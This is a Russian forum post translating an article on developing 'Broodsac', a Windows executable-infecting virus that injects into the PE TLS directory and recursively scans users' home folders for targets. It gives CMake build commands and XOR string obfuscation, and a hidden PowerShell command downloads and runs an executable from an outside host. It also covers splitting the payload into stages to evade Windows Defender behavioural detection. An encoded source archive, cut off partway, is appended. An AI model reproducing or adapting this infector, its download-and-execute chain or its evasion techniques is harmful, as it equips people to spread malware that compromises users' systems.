На заметку Разработка настоящего вируса в 2024 году


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 160
Репутация
8 285
1724234494893.png


Перевод:

--[ Содержание
  1. Введение
  2. Планирование вируса
  3. Проектирование вируса
  4. Создание вируса
  5. Решение проблем при разработке 5.1. Исходный дизайн неудачен 5.2. Антивирус ловит вирус
  6. Заключение
  7. Приветствия
  8. Ссылки
  9. Артефакты
--[ 1. Введение

Нет ничего более захватывающего, чем успешная полезная нагрузка.

Легко забыть, занимаясь нашими тёмными искусствами — от написания вирусов до эксплуатации — что во всём, что мы делаем, мы создаём программное обеспечение.
И оно становится сложным. Конечно, для shell-кода это всего лишь однострочная команда с NASM для создания бинарного блоба.
Это совсем несложно. Но ведь shell-код куда-то встраивается, верно? Язык Cи не позволит вам просто объединить бинарные блобы в ваш код. (По крайней мере, до выхода стандарта C23.)

И не всегда так просто, как кажется, просто приклеить ваш блоб к исполняемому файлу. А что, если вы хотите как-то зашифровать shell-код? А что, если другая программа должна работать с этим shell-кодом? И эта программа может быть полезной нагрузкой другой программы в цепочке! И это даже не учитывает автоматизацию, которую может потребовать ваш assembly payload, например, динамическую обфускацию.

Наши тёмные искусства — это хаос управления проектами: фабрики payload-ов, матрёшка обфускации, множество движущихся частей, требующих изобретательности.
Это не значит, что наши быстрые хаки не выполняют свою цель — выполняют. Но чаще всего они оптимизированы для скорости, а не для совместимости, поддерживаемости или переносимости. Хорошая система сборки, иногда жертвуя краткосрочной скоростью разработки, обеспечивает эти вещи.

Пользователи Unix уже знакомы с этим. Одна из старейших систем сборки, GNU Make и набор инструментов autotools, является основой для обмена и сборки кода на платформах, похожих на Unix. Однако у пользователей Windows такой культуры нет. Всё это — проекты Visual Studio. И, как всегда, система сборки MSVC — настоящая чёрная коробка за IDE Visual Studio. Хакеры, которые могут управлять этой чёрной магией MSVC по своему усмотрению, безусловно, вдохновляют нас своими невероятными payload-ами. Господь знает, как бы я хотел увидеть систему сборки SmokeLoader[10].

Вы можете рассматривать эту статью как кулинарный рецепт. Хотя техника вируса, используемая здесь, далеко не нова ("roy g biv уже это сделал"), она обёрнута в техники и лучшие практики для создания любого типа вируса. Мы рассмотрим использование надёжной системы сборки для создания нашего вируса и обсудим техники для систем сборки, которые ускоряют нашу разработку вредоносных программ.

Мы также рассмотрим некоторые техники, необходимые для обхода Windows Defender, так как это теперь базовый уровень, против которого мы должны разрабатывать.

Чтобы следовать материалу, получите копию Visual Studio с поддержкой C++, CMake ( ) и NASM для Windows ( ).
Для полного понимания этой статьи вам потребуется базовое понимание PE-файлов.

--[ 2. Планирование вируса

Мы хотим создать заражающий исполняемые файлы вирус для Windows. Для этого нам нужно разбить на составляющие части все элементы, участвующие в заражении исполняемых файлов. Хотя традиционные вирусы для заражения исполняемых файлов устарели из-за улучшений в защите исполняемых файлов, это всё ещё возможно — особенно с появлением разработчиков, которые не могут позволить себе или не заботятся о подписании своих бинарных файлов. (Привет, Rust!)

На начальном этапе у нас есть два элемента: заражатель и инфекция. Очевидно, что заражатель отвечает за заражение найденных исполняемых файлов. Инфекция — это просто любая полезная нагрузка, которую мы хотим внедрить в различные исполняемые файлы. Уже здесь у нас появляется зависимость, с которой нужно работать: естественно, заражатель зависит от инфекции в системе сборки, каким-то образом. Мы хотим, чтобы инфекция была гибкой и переносимой, чтобы её было как можно легче внедрять в исполняемые файлы. Shell-код идеально подходит для этой цели.

Для написания качественного shell-кода мы придерживаемся философии C-then-ASM для написания нашей полезной нагрузки. В Broodsac (Это наш проект, который мы будем описывать в этой статье) мы решили позволить оптимизатору компилятора оптимизировать наш C-код и перевели его в assembly-файл.

Хотя это может быть утомительно, чем больше становится shell-код, нам, к счастью, не нужно беспокоиться о традиционных требованиях к shell-коду при эксплуатации, поскольку мы нацелены на исполняемый файл, а не на эксплуатируемый буфер. Следовательно, у нас относительно меньше ограничений. Кроме того, поскольку Windows поддерживает как 32-битные, так и 64-битные бинарные файлы, и будучи динозавром, каким она является, 32-битная архитектура всё ещё актуальна. Поэтому потребуются полезные нагрузки для обеих архитектур.

На начальном этапе нашего плана иерархия вируса выглядит следующим образом:
  • broodsac
    • infection
      • ASM
        • 32
        • 64
      • C
Инфекция — это необходимость для заражателя, и, как таковая, она должна быть размещена в его каталоге как зависимость. Мы должны предоставить себе возможность компилировать assembly-полезные нагрузки в отдельные бинарные файлы для целей тестирования. Это означает, что в абстрактном виде у нас есть примерно четыре бинарных файла для работы — заражатель, 32-битный ASM, 64-битный ASM и C payload. Наш заражатель должен полагаться только на assembly-полезные нагрузки, поэтому мы должны как-то соединить эти элементы с нашим заражателем на этапе сборки.

Имея проекты, разделённые таким образом, проще управлять.

Создание системы сборки для вашего вируса выявляет болевые точки в случаях, когда что-то идёт не так, позволяя вам быстро и элегантно решить проблему. Она также действует как функциональное, инженерное средство, которое связывает вашу сборку. Чем сложнее становится ваш вирус, тем более важной становится надёжная система сборки.

--[ 3. Проектирование вируса

Теперь у нас есть абстрактный дизайн всех элементов нашего вируса. Далее нам нужно заполнить пробелы! У нас есть два вопроса, на которые нужно ответить:

+ Как наш вирус должен заражать исполняемый файл?
+ Что должна делать наша вирусная полезная нагрузка?

Первый вопрос был решён сначала наивно — с помощью скрытых кодов и перенаправления точки входа PE-файла. Перенаправление точки входа — это техника, старая как инфекции EXE-файлов[1]. К сожалению, скрытые коды в исполняемых файлах редко имеют размер, достаточный для работы с гигантским shell-кодом для Windows. В среднем, это около 200 байт. Подходит для Linux shell-кода, но не для Windows.

После некоторых раздумий было решено использовать внедрение в каталог TLS[2]. Каталог TLS (Thread Local Storage) — это один из многих каталогов в PE-файле. Он отвечает за управление тактиками хранения памяти потоков в данном исполняемом файле. Примечательной чертой каталога TLS являются инициализационные обратные вызовы. Их может быть много, и они вызываются поочерёдно при запуске процесса. Другими словами, каталог TLS имеет приоритет перед основной рутиной, так как инициализация каталога TLS является частью процесса загрузки PE-файла. Запомните этот последний момент — он сыграет с нами злую шутку позже.

Вопрос заключается в том, как наш раздел TLS будет вставлен в бинарный файл. Мы просто выбрали вставку нового раздела, так как можем гарантировать, что раздел будет исполняемым и записываемым, в отличие от того, чтобы содержать другие метаданные, такие как ресурсы программы. Если бы мы хотели быть более скрытными в отношении инфекции, мы могли бы контролировать исполняемые разделы и применить технику 29A[3], расширив последний раздел в исполняемом файле. Естественно, компромисс в незаметности здесь будет заключаться в уменьшении потенциальной поверхности атаки и — возможно, намеренно — увеличении сложности обнаружения инфекции. Выбор за вами.

Нам нужны целевые исполняемые файлы. Где мы их найдём? Удивительно, в домашнем каталоге пользователя. Прошли времена, когда каждая программа устанавливалась в каталог Program Files, теперь наступила эра AppData и папки документов пользователя, где они распаковывают различные пакеты несанкционированных исполняемых файлов. Мы можем просто рекурсивно перебирать домашний каталог пользователя в поисках целей.

Что касается того, что должна делать полезная нагрузка при заражении? Я лично фанат проекта Desktop Pet[4], ранее известного как eSheep в 90-х. Это подходящая полезная нагрузка, чтобы оживить технику заражения из 90-х. Она создаёт отличное визуальное представление, если полезная нагрузка выполняется для тестирования. Наша полезная нагрузка должна просто скачать (если файл не существует) и запустить эту милую маленькую овечку на рабочем столе пользователя. Кто бы отказался от такой очаровательной программы, дополняющей исполняемые файлы милым животным-другом? Простое скачивание и запуск этой полезной нагрузки будет идеально.

--[ 4. Создание вируса

Быстро и просто, чтобы собрать Broodsac, раскодируйте артефакты в разделе 9 (Исходник я распаковал уже во вложении), чтобы получить архив, распакуйте его и выполните следующие команды:

Код:
$ cd broodsac
$ mkdir build
$ cd build
$ cmake ../ -A x64
$ cmake --build ./ --config Release

Естественно, я предполагаю, что вы не будете столь глупы, чтобы запускать результат на системе, с которой вы не хотите возиться. Если только вы не хотите овечек в своих исполняемых файлах, тогда вперёд.

Во время создания вашего вируса вы, несомненно, столкнётесь с ошибками. Учитывая, что мы создаём программное обеспечение, мы должны заимствовать философию программного обеспечения по созданию и выполнению тестов. Это не обязательно должны быть формальные модульные тесты, где проверяется функциональность в отдельных точках кода, но они должны как-то тестировать функциональность вашего вируса. Учитывая нестабильность неопределённого поведения целей, с которыми мы работаем в нашей тёмной разработке, вы абсолютно должны думать о тестах на переднем плане.

Есть три ключевых вопроса, которые нам нужно рассмотреть для целей тестирования:

+ Работает ли полезная нагрузка?
+ Успешно ли заражает заражатель?
+ Проходит ли инфекция, не нарушая исходного выполнения?

Первый вопрос имеет для нас действие: как мы это тестируем? Естественно, мы не обязаны делать это программно — нам просто нужно запустить полезную нагрузку в её различных формах, чтобы убедиться, что она успешно запускает милую овечку. Cи и Assembly имеют различные подводные камни разработки, которые станут очевидны во время этого простого процесса тестирования. Чтобы создать и протестировать наш 64-битный payload, например, мы можем просто выполнить следующие команды:

Код:
$ cd infection/asm/64
$ mkdir build
$ cd build
$ cmake ../ -DINFECTION_STANDALONE=ON -A x64
$ cmake --build ./ --config Release
$ ./Release/infection_asm_64.exe

Если наша полезная нагрузка сработает, мы будем вознаграждены милой овечкой. Простой тест.

Это похоже на процесс configure/make в Linux. CMake берёт файл CMakeLists.txt в целевом каталоге и строит конфигурацию для ваших инструментов компиляции, необходимых для выполнения сборки. Мы настроили наши ASM-файлы так, чтобы их можно было компилировать как отдельные бинарные файлы для индивидуального тестирования, так и как статические библиотеки для включения в исполняемый файл заражателя.

Была выбрана статическая библиотека как метод объединения наших payload-ов в наш бинарный файл, потому что это просто и элегантно, так как архитектура полезной нагрузки будет совпадать. Инстинктивно, мы видим shell-код как единицу, которую нужно сохранить, перевести в шестнадцатеричную строку и спрятать в каком-то C-коде. Поэтому мы делаем с ним креативные вещи, считая его просто блобом данных, который нужно как-то преобразовать. Мы склонны забывать, что shell-код может быть своей собственной индивидуальной единицей кода.

Но с системой сборки на вашей стороне, вы можете дополнить способ выхода вашего shell-кода на этапе компиляции. После различных кастомизаций сборки нашего payload-а в файле CMake заражающего исполняемого файла, мы включаем этот и 32-битную версию следующим образом:

Код:
add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/32)
add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/64)

add_executable(broodsac WIN32 main.c)
target_link_libraries(broodsac infection_asm_32 infection_asm_64)

Таким образом, в довольно чистом виде, с простым набором ключевых слов "extern" в файле main.c заражателя, мы включили наши shell-коды в основной бинарный файл. Хотя это ещё не показано, помимо этого процесса, мы также автоматизировали этап шифрования строк внутри кода полезной нагрузки, так что каждый раз, когда выполняется наша сборка, строки перешифровываются и пересобираются в исполняемом файле заражателя.

Мы избежали утомительной задачи по ручному преобразованию нашего shell-кода в массив какого-то рода и даже добавили шаг обфускации по пути. Прелесть этого метода в том, что он избегает скрытых опасностей, которые часто возникают из-за быстрых решений, к которым мы привыкли. И в конце концов: это просто хорошая практика разработки программного обеспечения.

Вернёмся к нашим вопросам. Остальные вопросы, хотя и имеют ту же задачу, имеют более сложный ответ. Нам нужно протестировать и проанализировать заражённые исполняемые файлы, чтобы проверить и отладить инфекции. Поэтому нам нужно перечислить, что нужно тестировать, исходя из нашего проектного замысла.

Поскольку мы работаем с каталогом TLS, мы в основном имеем дело с виртуальными адресами, в отличие от RVA и смещений. Виртуальные адреса обычно подразумевают необходимость обработки перекомпоновок внутри бинарного файла. Это абсолютно то, с чем нам нужно разобраться как заражающему исполняемому файлу — с повсеместным использованием Address Space Layout Randomization (aka /DYNAMICBASE), было бы глупо не рассматривать возможность изменения каталога перекомпоновок целевого исполняемого файла в случае заражения.

Таким образом, у нас есть четыре состояния конфигурации, чтобы протестировать заражение:

+ нет каталога tls, нет каталога перекомпоновок
+ нет каталога tls, каталог перекомпоновок присутствует
+ каталог tls присутствует, нет каталога перекомпоновок
+ каталог tls присутствует, каталог перекомпоновок присутствует

Кроме того, нам нужно учитывать целевую 32-битную архитектуру, создавая в общей сложности 8 конфигураций бинарных файлов для тестирования! Это увеличивает общее количество кодовых проектов в нашем вирусном проекте до 12. С хорошей системой сборки мы можем довольно легко собрать все эти тестовые бинарные файлы:

Код:
$ cd infectables
$ mkdir build32 build64
$ cd build32
$ cmake ../ -A Win32
$ cd ../build64
$ cmake ../ -A x64

Скрипты сборки могут в основном следовать иерархии папок и собирать несколько проектов, содержащихся внутри, что здесь и происходит. Теперь у нас есть две настроенные среды сборки — одна для 32-битной, и одна для 64-битной архитектуры.

Код:
$ cd build32
$ cmake --build ./ --config Release
$ cd ../build64
$ cmake --build ./ --config Release

Это поместит все бинарные файлы в каталог Release внутри среды сборки. Они затем могут быть целью для заражения нашим исполняемым файлом заражателя в целях тестирования. Как и компилятор на командной строке, мы можем настроить различные переключатели для определения заголовков CMake. Мы можем настроить наш заражатель, чтобы он был осведомлён о каталоге, содержащем наши исполняемые файлы для заражения:

Код:
$ mkdir build
$ cd build
$ cmake -DBROODSAC_DEBUG=ON -DBROODSAC_INFECTABLES="infectables" \
  -A x64 ../

Эта команда эффективно собирает Broodsac в режиме отладки. Вместо того чтобы нацеливаться на домашний каталог пользователя, он будет нацелен на каталог с заражаемыми файлами, где в данный момент собраны наши тестовые программы. Запустив Broodsac в этом состоянии, мы сможем легко проверить состояние заражения и соответствующей полезной нагрузки. И это чрезвычайно важно — самые опасные демоны скрываются глубже всего. Надежное тестирование поможет их искоренить.

--[ 5. Работа с проблемами разработки

Результат вируса, который вы видите здесь, — это труд любви, многие часы, проведенные за отладкой, тестированием, проверкой, исправлением и рефакторингом. Но когда вы видите конечный продукт, вы не видите тех мелких шагов, которые в конечном итоге привели к созданию этого продукта. Поэтому трудно оценить борьбу, с которой сталкиваются разработчики программного обеспечения. Это, в основном, индивидуальное путешествие, на которое отправляется каждый, кто пишет код.

Очень легко смеяться над хорошей, ужасной ошибкой. Нас удивляет, когда глупые ошибки, кажется, живут долго, просто ожидая, когда их обнаружит следующий счастливый участник. Но ошибки — это часть жизненного цикла программного обеспечения, независимо от того, эксплуатируемы они или нет.

Этот раздел сосредоточен на двух ключевых моментах критических сбоев в процессе разработки этого вируса: моменте, когда первоначальная идея полезной нагрузки провалилась в последний момент, и моменте, когда антивирус начал обнаруживать наши инфекции.

--[ 5.1 Первоначальный дизайн проваливается

Вы помните, когда я сказал, что каталог TLS вернется, чтобы укусить нас за зад? Как же нам помогла надёжная система сборки?

Изначально наша полезная нагрузка была очень простой, логичной программой: импортировать GetFileAttributes, URLDownloadToFileA и ShellExecuteA. Это было бы всё, что нам нужно, чтобы загрузить нашу овечку и запустить её на целевой системе. Чтобы объяснить хаос, который мы смягчили, давайте разберем шаги, необходимые для генерации и тестирования нашей окончательной полезной нагрузки, заражателя:
  1. Скомпилировать C-инфекцию
  2. Протестировать C-инфекцию
  3. Перевести в assembly на 32-битных и 64-битных архитектурах
  4. Скомпилировать assembly (2x)
  5. Протестировать assembly (2x)
  6. Включить shell-код в наш заражатель
  7. Скомпилировать заражатель
  8. Протестировать заражатель
  9. Убедиться, что инфекции успешны
Когда мы полностью перечисляем шаги, необходимые для создания качественного вируса, мы можем оценить, как система сборки упрощает сложную экосистему. Потому что на любом этапе этого процесса что-то может пойти не так. В любой момент процесса, если что-то идет не так, нам придется начать заново с определенного этапа. Чем больше времени требуется на возобновление работы после сбоя, тем больше времени теряется. И если с организационной точки зрения неясно, куда нужно идти, чтобы перезапустить процесс, это напрасная трата времени. Хорошая система сборки экономит время, этот очень ценный ресурс.

В данном случае было обнаружено, что ShellExecuteA и URLDownloadToFileA не сработали на этапе 9. Зад укушен. И посмотрите, когда он выбрал момент, чтобы нас укусить — во время тестирования, а не развертывания. Почему нас укусило? Из-за нашей техники инфекции через внедрение в TLS.

Из-за выбора внедрения в TLS в бинарном файле мы были соблазнены тем, что получили приоритет над точкой входа зараженного исполняемого файла. Но это означает, что в данный момент мы выполняемся в контексте загрузчика исполняемого файла. Это означает, что наш зараженный исполняемый файл ещё не полностью загружен. В частности, в нашем случае потоки еще не полностью инициализированы. Было замечено, что когда ShellExecuteA и URLDownloadToFileA выполнялись в контексте обратного вызова каталога TLS, они зависали. Также было отмечено, что процесс попытался создать поток перед зависанием. Это, вероятно, означало, что мы не могли использовать никакие функции, которые создавали потоки.

Полезная нагрузка была изменена на нечто чуть менее стандартное: CreateProcessA. Хотя это и не необычно для нашей программы полезной нагрузки, то, как мы в конечном итоге скачивали полезную нагрузку, определенно было необычным. CreateProcessA в конечном итоге вызывает NtCreateProcess, функцию ntdll.dll, которая, в конечном итоге, завершает системный вызов ядра. Это, несомненно, будет безопасно для потоков в нашем каталоге TLS. Так как же мы в конечном итоге загрузили нашу полезную нагрузку? Вызовом Powershell.

Конечно, это забавно, когда shell-код делает внешний вызов к Powershell, когда API находится у вас под рукой, не так ли? Такова природа хакерства — столкнувшись с вызовом, мы откликаемся нестандартными решениями, несмотря на наши мнения, если это просто работает.

Тем не менее, это решение потребовало значительной переработки кода. C-полезная нагрузка должна быть переписана, перекомпилирована, переведена в assembly, эти assembly-файлы скомпилированы и вставлены обратно в наш заражатель. По сути, мы вынуждены вернуться к началу наших перечисленных шагов и проделать путь назад к нашему заражателю. Это много времени, и ещё больше шагов, которые нужно пройти без упрощения, которое предоставляет система сборки!

Но когда всё связано вместе, единственное время, которое мы тратим, — это просто эквивалент граблей в нашем дзен-саду: программирование и анализ. Всё потому, что наша система сборки делает наши сложные абстрактные шаги проверки относительно простыми:

Код:
$ cd infection/c/build
$ cmake --build ./
$ ./Debug/infection_c.exe # есть овечки? попробуйте снова
$ cmake --build ./ --config Release # для перевода в asm
$ cd ../../asm/32/build
$ cmake --build ./
$ ./Debug/infection_asm_32.exe # есть овечки? попробуйте снова
$ cd ../../64/build
$ cmake --build ./
$ ./Debug/infection_asm_64.exe # есть овечки? попробуйте снова
$ cd ../../../../build # проверка: настроен ли Debug?
$ cmake --build ./
$ ./Debug/broodsac.exe # по крайней мере, если ошибка, вы просто получите овечек

Каждый шаг, где что-то может пойти не так, изолирован в своё место, управляемое по-своему. Каждое действие, необходимое для создания нашего вируса, от полезной нагрузки до доставки, инструментируется и плавно переходит друг в друга. Когда что-то идёт не так на любом этапе этой цепочки, мы точно знаем, где начать заново, и можем быстро действовать и решать проблему.

Быть гибким, когда дело доходит до устранения демонов багов, это одно, но что насчёт демонов экстренных запросов на функции? Это не просто давление со стороны руководства вызывает такие скачки в разработке, но и неожиданная необходимость.

--[ 5.2 Антивирус ловит вирус

Меня очень развеселило, когда я заметил, что овечка определяется как вредоносное ПО. Любопытно, ведь сама овечка технически была безобидной — заражатель и инфекция были фактическим вредоносным ПО. Изначально я добавил её в белый список в Windows Defender, пока работал, и особо не задумывался об этом, я исправлю это позже. В конце концов, мне пришлось столкнуться с реальностью и понять, почему мой вирус был обнаружен, даже если овечка, на удивление, была безобидной.

Подсказки, которые мы получали от Windows Defender, указывали на то, что это какой-то скрипт, который его срабатывает, и что сигнатура, на которую он наталкивается, называется "Trojan-Script/Wacatac.B!ml." Исследование этой сигнатуры ничего нам не дало, как это часто бывает с автоматически сгенерированными сигнатурами. Мы узнали только, что все раздражены тем, что все виды случайных безобидных исполняемых файлов помечаются как Wacatac. Нас подвела ложная сработка? Положительно неловко.

В любом случае, стало ясно, что с учётом подсказки о скрипте, срабатывание происходило из-за нашего однострочника Powershell. Я даже не пытался каким-либо образом обфусцировать команду, так что неудивительно, что её в конце концов поймали. Мы позже подтвердили благодаря некоторым исследованиям сигнатур Windows Defender[5], что наша строка загрузки была абсолютно там, где-то, так что это явно был виновник. Это означает, что теперь нам нужно было её обфусцировать.

Конечно, мы могли бы сделать это раз и навсегда и закодировать её прямо в assembly-файлы, но где в этом веселье? Они просто пометят зашифрованный блок и успокоятся! Где в этом гибкость? И что, если мне нужно будет полностью изменить конечную команду? Как я могу сделать это как можно менее болезненным для себя и других, кто захочет преобразовать этот код?

Прелесть хорошей системы сборки заключается в возможности скромно передать команды сборки другому процессу на определенных этапах сборки. Давайте посмотрим на код в наших полезных нагрузках, который шифрует строки:

Код:
add_custom_command(TARGET infection_asm_64
  PRE_BUILD
  COMMAND powershell ARGS
  -ExecutionPolicy bypass
  -File "${CMAKE_CURRENT_SOURCE_DIR}/../strings.ps1"
  -payload_program "\\??\\C:\\ProgramData\\sheep.exe"
  -payload_command "sheep"
  -download_program "\\??\\C:\\Windows\\System32\\WindowsPowerShell\
\\v1.0\\powershell.exe"
  -download_command "powershell -ExecutionPolicy bypass \
-WindowStyle hidden \
-Command \"(New-Object System.Net.WebClient).DownloadFile(\
'https://amethyst.systems/sheep.dat', 'C:\\ProgramData\\sheep.exe')\""
  -output "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/infection_strings.asm"
  VERBATIM)

Powershell был выбран просто потому, что с ним проще работать, чем со старым CMD. Был создан простой скрипт, который преобразовывал многие строки, которые нам нужно было зашифровать, выбирал случайный ключ, а затем выполнял традиционное XOR-шифрование строки. Скрипт создаёт файл включения NASM и сохраняет его в каталоге бинарных файлов системы сборки — по сути, универсальный каталог для любых созданных артефактов. Мы затем включаем этот каталог в директивы ассемблера, чтобы наши assembly-файлы могли его видеть:

Код:
target_include_directories(infection_asm_64 PUBLIC
  "${CMAKE_CURRENT_SOURCE_DIR}"
  "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>")

Как творцы, чей холст — сомнительный машинный код, мы, без сомнения, можем увидеть привлекательность и возможности, которые это даёт. Если вы действительно чувствуете себя дерзко, вы даже можете мутировать объекты COFF и включать их в определенные конфигурации библиотек через CMake! Изменение объектов напрямую будет выглядеть примерно так:

Код:
add_library(obfuscateme STATIC obfu.c)
add_custom_command(TARGET obfuscateme
PRE_LINK COMMAND obfuscate ARGS
"${CMAKE_CURRENT_BINARY_DIR}/obfuscateme.dir/$<CONFIG>/obfu.obj")
add_executable(virus main.c)
target_link_libraries(virus obfuscateme)

Эти простые четыре строки компилируют набор функций, которые нужно обфусцировать, вызывают обфускатор для нашего скомпилированного объектного файла, который затем снова включается в процесс сборки на этапе линковки, а затем добавляют обфусцированный код в качестве зависимости библиотеки основного вируса. Каждый раз, когда цель вируса вызывается для компиляции, функциональность будет обфусцирована и автоматически включена в наш код. По сути, если вы можете вызвать внешнюю команду для генерации чего-либо как часть процесса сборки, возможности интеграции в вашу программу практически не ограничены.

Несмотря на то, что возможности этих функций кажутся весьма интересными, наша попытка скрыть сигнатуры, на которые, как мы думали, мы попадали, оказалась недостаточной. Видите ли, как показывает исследование сигнатур Defender[5], существует несколько типов сигнатур, с которыми приходится иметь дело, и, согласно DefenderCheck[6] и чуть более продвинутому ThreatCheck[7], я не наталкивался на статические сигнатуры. Действительно, копание в недрах базы данных сигнатур обнаруженных угроз оказалось относительно бесплодным в поисках подсказок о том, как их обойти — существовал алгоритм статической сигнатуры, который был не совсем ясен по поводу того, как он сканируется, и, что более важно, нечто под названием "NID."

NID в данном случае, по-видимому, идентифицирует что-то внутри Network Realtime Inspection Service.[8] Вероятно, это какая-то метаданные о конкретном поведении. Это означает, что наши сигнатуры, вероятно, срабатывали на поведенческую сигнатуру! Как мы могли бы это обойти?

Наивно, не сталкиваясь с этим ранее, мы бросили на стену кучу случайных решений, чтобы увидеть, что сработает. Hell's Gate? Сервис Network Realtime Inspection не был EDR, так что, естественно, это не сработало. Не говоря уже о том, что с уникальной позицией Microsoft на ландшафте Windows (они являются хозяевами подземелья), попытки обойти EDR просто недостаточны. Но ради полноты потенциальных уклонений это было оставлено в полезной нагрузке Broodsac. (Реализация Hell's Gate состоит из прямых системных вызовов, а не косвенных, так что над этим ещё предстоит поработать.)

По сути, поведенческая сигнатура полагается на цепочку определённых действий, чтобы объявить что-то потенциально вредоносным. Давайте рассмотрим, что, по сути, делает наша полезная нагрузка, что могло бы быть отмечено как потенциально вредоносное:

+ загрузка исполняемого файла
+ возможно, дешифровка исполняемого файла
+ выполнение исполняемого файла

Честно говоря, я не вижу в этом ничего плохого, но, видимо, Microsoft не согласен!

Забавная особенность поведенческого анализа заключается в том, что он полагается на идентификацию поведения в данном контексте выполнения, а не на сумму его выполнений. Чтобы поведенческий анализ был успешным, негативные действия, которые происходят в комбинации, должны происходить в одном и том же контексте выполнения.

Если мы разделим три вышеупомянутые задачи на три отдельных контекста выполнения — загрузка, дешифровка и выполнение — будет ли это достаточно, чтобы обойти поведенческое обнаружение?

Да! Хотя я не проводил обратную разработку NisSrv.exe, чтобы понять, почему мне удалось обойти защиту, теория о разделении задач между контекстами выполнения оказалась успешной в обходе Defender.

Таким образом, полезная нагрузка эволюционировала в интересную многоэтапную полезную нагрузку. Пользователю придется запускать зараженный исполняемый файл несколько раз, прежде чем появится овечка. Это также принесло дополнительное преимущество в плане скрытности. Откуда берётся овечка? Почему это происходит каждый раз, когда я запускаю эту программу? Загадка! Но мило. Таким образом, Broodsac оправдывает своё название многослойного червя, в честь которого он был назван, зелёно-полосатого бродсака.[9]

Наш дзен-сад ухожен и готов для того, чтобы им поделились, чтобы другие могли медитировать и размышлять о своих собственных садах. Для этой медитации различные кодовые объекты, содержащиеся в архиве, прилагаемом к этой статье, были аннотированы комментариями, объясняющими отдельные области кода и их назначение. Естественно, сложность динозавра, которым является формат PE, сопровождается раздражающими, отвратительными трюками и привычками, из-за которых в первую очередь стыдно за свой код. Прошу прощения от имени Марка Збиковски.

--[ 6. Заключение

Нет никаких сомнений в том, что странные аномалии в разработке, которые вы видите в диких образцах вредоносного ПО, являются побочным продуктом какой-то системы сборки. Использование SmokeLoader зашифрованных функций, безусловно, не является функцией компилятора MSVC[10]. Но даже грубая и быстрая переработка C-файла, сброшенного в каталог для компиляции в IDE, технически будет считаться системой сборки. В конце концов, Visual Studio IDE — это всего лишь оболочка для системы сборки MSVC. Но как вирусописатели, мы, в конечном счете, всё ещё инженеры. Мы стремимся к красивому решению проблемы. Мы в конечном итоге хотим создать свой собственный маленький дзен-сад, за которым можно ухаживать.

Прелесть CMake, в частности, заключается в том, что он кроссплатформенный. Таким образом, если у вас есть код — например, движок обфускации, — который может быть использован на нескольких платформах, CMake может сделать сборку проекта на каждой платформе относительно безболезненной. Точно так же, как CMake управляет MSVC, он может управлять и сложной средой сборки, такой как GNU Make. Поддерживаются и многие другие цели сборки, но не все так же полно, как MSVC и GNU. Экзотические цели могут вызвать некоторые трудности.

Надеюсь, мне удалось убедительно аргументировать включение систем сборки в разработку вашей полезной нагрузки. Хотя мы, безусловно, можем обойтись поверхностными shell-скриптами, разве не было бы замечательно углубиться в суть машины на уровне компоновщика? Разработчики Linux имеют эту привилегию, почему бы не освободить этот доступ в Windows? В конце концов, мы все фактически демоны наших целевых операционных систем — мы прячемся на самом низком уровне машины, и нам это здесь нравится.

--[ 7. Благодарности

0x6d6e647a за редактирование, dc949 за семейную поддержку, slop pit за мемы и оживленные обсуждения.

--[ 8. Ссылки


[1]: 40Hex #8: An Introduction to Nonoverwriting Virii, Part II: EXE
Infectors,

[2]: 29A #6: W32.Shrug, by roy g biv,

[3]: 29A #2: PE infection under Win32,

[4]:
[5]:
/VDM
[6]:
[7]:
[8]:
/security-compliance-and-identity
/enhancements-to-behavior-monitoring-and-network-inspection
/ba-p/247706
[9]:
[10]:
/going-deep-a-guide-to-reversing-smoke-loader-malware/,
see "Decoding the Buffer"

--[ 9. Артефакты (Данный артифакт уже распакован во вложении)

Код:
begin 644 broodsac.tar.gz
M'XL(`````````^P]:W?;-K+][%^!9KNI9$N.93O>['7L<V1)KG6O+/E(<K*]
MV5P>2H0L-A2I)2D[WC;__<[@10"D'G;<;;MK?6@L<#`8S`SF";&C.(J\Q!V_
M:ERZGVC'3])D-_V<?O.4GSWX'!T>XK^UO[S>T__%3^WUT>MO:H>O_[)_N'^X
M]_KH&QC9.]C_ANP]*15+/HLD=6-"OIDOXGE`E\.M>_X'_8QG('9GYH?^;#%S
M8OJ/A1]3K_2NU1^T>UURL%M[7=[:FL?13W2<ED9"6TB#U`>73A?^4]Y*:%IJ
M7-;_I^5<#MXUG/YU=]B^;#F=]EF_WO^1O+A<!*D_G,;4]:CWW=OOWC9ZW?/V
M#__5I*/%S:GXYT5Y*YJG?A26SOJ]7G-0;SC-UMGU#^3%<!&')`J)AW`W?GA#
M)E%,S@0E+TCO_)S3H":VN^>MQK!^UFD-R(L7I%%O7+3(8-AO=P'=@*8DG5)`
M$G@T-G"1-")^.(&-5F#!X)[$-*"W;IB2.S^=$I,P('C+]3PG68P\8-DXC>+[
MTG<_7_5[_PV+.X/>=;_1<IKM_I=7'"?L[96;S%X=[)<?-_'H4"Q)/]/Q(G5'
M`<T$\K[=/=@G,]</=\?E+5#I&YHZ@1]^@O^,8C?V:9(!*[P.X'5@GCG`%O(G
MQ!)%>8L0KBYS-YV6ZF>#7N=ZV'*NZL,+4LC\;J]_6>^T_[=E3>W6A^UWJR86
M#2*.)(U!`4K]UE6GWFB1%W__^PO\#_Y3+/WO?BX:__("D0DFC:/9W`^HX]$)
MG`)D@L:IJ^NS3KL!P,02OSFDX3Y9L28-/7]2*F_]UH=>^\B=ON*J\ZNLL=+^
MU_9?'[S6[/]^#>S_P0&X@6?[_R_X_,D/Q\'"H^1MDGI^F.Y.3[?,L<@<NO-#
M+[I+<H,IC</`FCT-HM%/.+;U:IM<^N,X2J))2J9N2A,RIQ$PE`3^)TH6"4DB
M-,OWQ(O"[U/"#B,E]);&]^D4C;X?XG,_)E/T(W%2P1,X6H!MIL2-*=CJQ`]\
M"L;:#3V23'&LH8#).)K?(X*$RC&T]G,_24@TF1!7(\^CMV3[U59Z/Z=`!MJ<
MQ3@EY]>=CG/5.G,ZS;[3K`_K6S\C!=>='GB5#@UOTNDQ#ISU>IU6O4O::$O<
MP/\G]=CX1;W;[(`;2BZ`OH"RL4Y[,'1:W2%XR7;8B5RO%P-EEY&W"%@HE@>Z
MI#-P%VO!U.(NVK,B\*MWO7:3M,(TOF^'5W%T`_Q+C`T,IHL4)!U:C^4^Q%/N
